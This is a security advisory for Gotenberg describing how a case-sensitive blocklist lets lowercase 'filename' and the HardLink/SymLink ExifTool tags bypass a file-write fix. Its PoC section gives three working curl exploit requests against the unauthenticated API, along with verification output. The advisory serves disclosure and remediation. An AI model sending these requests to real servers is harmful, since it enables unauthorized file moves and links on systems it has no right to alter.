GHSA-qmwh-9m9c-h36m GO-2026-5587
Gotenberg has incomplete fix for ExifTool arbitrary file write: case-insensitive bypass and missing HardLink/SymLink tags
- Severity
- 0.0 / 10
- High · CVSS 4.0
- Exploit chance (EPSS)
- —
- No score published
- Known exploited
- No
- Not in CISA's catalog
- Fix
8.30.0- Upgrade github.com/gotenberg/gotenberg/v8 to this version or later
Description
Summary
The fix for ExifTool arbitrary file write (commit 043b158, released in v8.29.0) uses a case-sensitive blocklist to filter dangerous pseudo-tags. ExifTool processes tag names case-insensitively, so alternate casings bypass the filter. The blocklist also omits the HardLink and SymLink pseudo-tags entirely.
Confirmed end-to-end against Gotenberg v8.29.1 via the unauthenticated HTTP API.
Root Cause
pkg/modules/exiftool/exiftool.go lines 231-237:
dangerousTags := []string{
"FileName", // Writing this triggers a file rename in ExifTool
"Directory", // Writing this triggers a file move in ExifTool
}
for _, tag := range dangerousTags {
delete(metadata, tag)
}
Go's delete(metadata, tag) is case-sensitive. It only removes the exact keys "FileName" and "Directory". ExifTool processes tag names case-insensitively (per ExifTool documentation). Alternate casings like filename, FILENAME, directory all bypass the Go blocklist but ExifTool treats them identically.
The go-exiftool library passes tag names directly to ExifTool's stdin at line 258:
fmt.Fprintln(e.stdin, "-"+k+"="+str)
So filename becomes -filename=/attacker/path which ExifTool interprets as -FileName=/attacker/path.
The blocklist also omits two dangerous ExifTool pseudo-tags:
HardLink: creates a hard link to the file at the specified pathSymLink: creates a symbolic link to the file at the specified path
PoC
All three vectors confirmed against a running Gotenberg v8.29.1 Docker container.
Case-insensitive filename bypass (file moved to /tmp/evil_bypass.pdf):
curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \
-F files=@sample.pdf \
-F 'metadata={"filename": "/tmp/evil_bypass.pdf"}'
HardLink (hard link created at /tmp/hardlink_bypass.pdf):
curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \
-F files=@sample.pdf \
-F 'metadata={"HardLink": "/tmp/hardlink_bypass.pdf"}'
SymLink (symbolic link created at /tmp/symlink_bypass.pdf):
curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \
-F files=@sample.pdf \
-F 'metadata={"SymLink": "/tmp/symlink_bypass.pdf"}'
Verification inside the container:
$ docker exec gotenberg-poc ls -la /tmp/evil_bypass.pdf /tmp/hardlink_bypass.pdf /tmp/symlink_bypass.pdf
-rw-r--r-- 1 gotenberg gotenberg 321 ... /tmp/evil_bypass.pdf
-rw-r--r-- 1 gotenberg gotenberg 321 ... /tmp/hardlink_bypass.pdf
lrwxrwxrwx 1 gotenberg gotenberg 119 ... /tmp/symlink_bypass.pdf -> /tmp/.../source.pdf
Also confirmed ExifTool case-insensitivity directly:
exiftool -filename=bypassed.pdf test.pdf # Works identically to -FileName=
Impact
An attacker with access to the Gotenberg API (unauthenticated by default) can:
- Rename/move uploaded PDFs to arbitrary filesystem paths via lowercase
filename/directory - Create hard links at arbitrary paths via
HardLink, persisting data beyond temp directory cleanup - Create symbolic links at arbitrary paths via
SymLink
In containerized deployments, impact is limited to the container filesystem (DoS by overwriting temp files). In bare-metal deployments or those with shared volumes, this can affect other services.
Suggested Fix
Use case-insensitive comparison and expand the blocklist:
dangerousTags := []string{
"FileName",
"Directory",
"HardLink",
"SymLink",
}
for key := range metadata {
for _, tag := range dangerousTags {
if strings.EqualFold(key, tag) {
delete(metadata, key)
}
}
}
Affected versions
Go
| Package | Vulnerable | Fixed in |
|---|---|---|
| github.com/gotenberg/gotenberg/v7 | all versions |
No fix yet |
| github.com/gotenberg/gotenberg/v8 | < 8.30.0 |
8.30.0 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
github.com/gotenberg/gotenberg/v8 Go → 8.30.0
- go
go get github.com/gotenberg/gotenberg/v8@v8.30.0 && go mod tidy
Severity breakdown
CVSS 4.0 0.0
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N
- Attack vector
- Network
- Attack complexity
- Low
- Attack requirements
- None
- Privileges required
- None
- User interaction
- None
- Confidentiality (vulnerable system)
- None
- Integrity (vulnerable system)
- High
- Availability (vulnerable system)
- High
- Confidentiality (subsequent systems)
- None
- Integrity (subsequent systems)
- None
- Availability (subsequent systems)
- None
Weakness
CWE-178: Improper Handling of Case Sensitivity
The product does not properly account for differences in case sensitivity when accessing or determining the properties of a resource, leading to inconsistent results.
How to prevent it
- Architecture and Design: Avoid making decisions based on names of resources (e.g. files) if those resources can have alternate names.
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- Implementation: Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
CWE-73: External Control of File Name or Path
The product allows user input to control or influence paths or file names that are used in filesystem operations.
How to prevent it
- Architecture and Design: When the set of filenames is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap provide this capability.
- Architecture and Design, Operation: Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict all access to files within a particular directory. Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
- Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would b
- Implementation: Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59).
- Installation, Operation: Use OS-level permissions and run as a low-privileged user to limit the scope of any successful attack.
- Operation, Implementation: If you are using PHP, configure your application so that it does not use register_globals. During implementation, develop your application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
- Testing: Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.
References
Packages
Other links
Timeline
- Published
- Last updated by the source
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-2mrg-35hw-x3x9 Gotenberg: SSRF via LibreOffice document processing | High | Also affects github.com/gotenberg/gotenberg/v7 |
| GHSA-vp73-vjw8-8f32 Gotenberg has a Race Condition via Multipart `downloadFrom` Handling | High | Also affects github.com/gotenberg/gotenberg/v7 |
| GHSA-86m8-88fq-xfxp Gotenberg has an SSRF deny-list bypass in IsPublicIP via IPv6 6to4 / NAT64 / site-local prefixes | High | Also affects github.com/gotenberg/gotenberg/v7 |
| GHSA-hwc4-gmrw-5222 Gotenberg has path traversal in zip entry name via Windows-style separators in upload filename | High | Also affects github.com/gotenberg/gotenberg/v7 |
| GHSA-chwh-f6gm-r836 Gotenberg: Server-Side Request Forgery via Chromium URL Endpoint with Redirect-Based Deny-List Bypass | High | Also affects github.com/gotenberg/gotenberg/v7 |
| GHSA-g924-cjx7-2rjw Gotenberg allows Chromium URL conversion routes to read arbitrary files under /tmp via file:// scheme | Medium | Also affects github.com/gotenberg/gotenberg/v7 |
| GHSA-4vmc-gm8v-m35h Gotenberg vulnerable to unauthenticated SSRF via default deny-list bypass in downloadFrom and webhook | Critical | Also affects github.com/gotenberg/gotenberg/v7 |
| GHSA-r33j-c622-r6qp Gotenberg has an unauthenticated denial of service via echo.Context pool reuse in webhook async goroutine | High | Also affects github.com/gotenberg/gotenberg/v7 |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor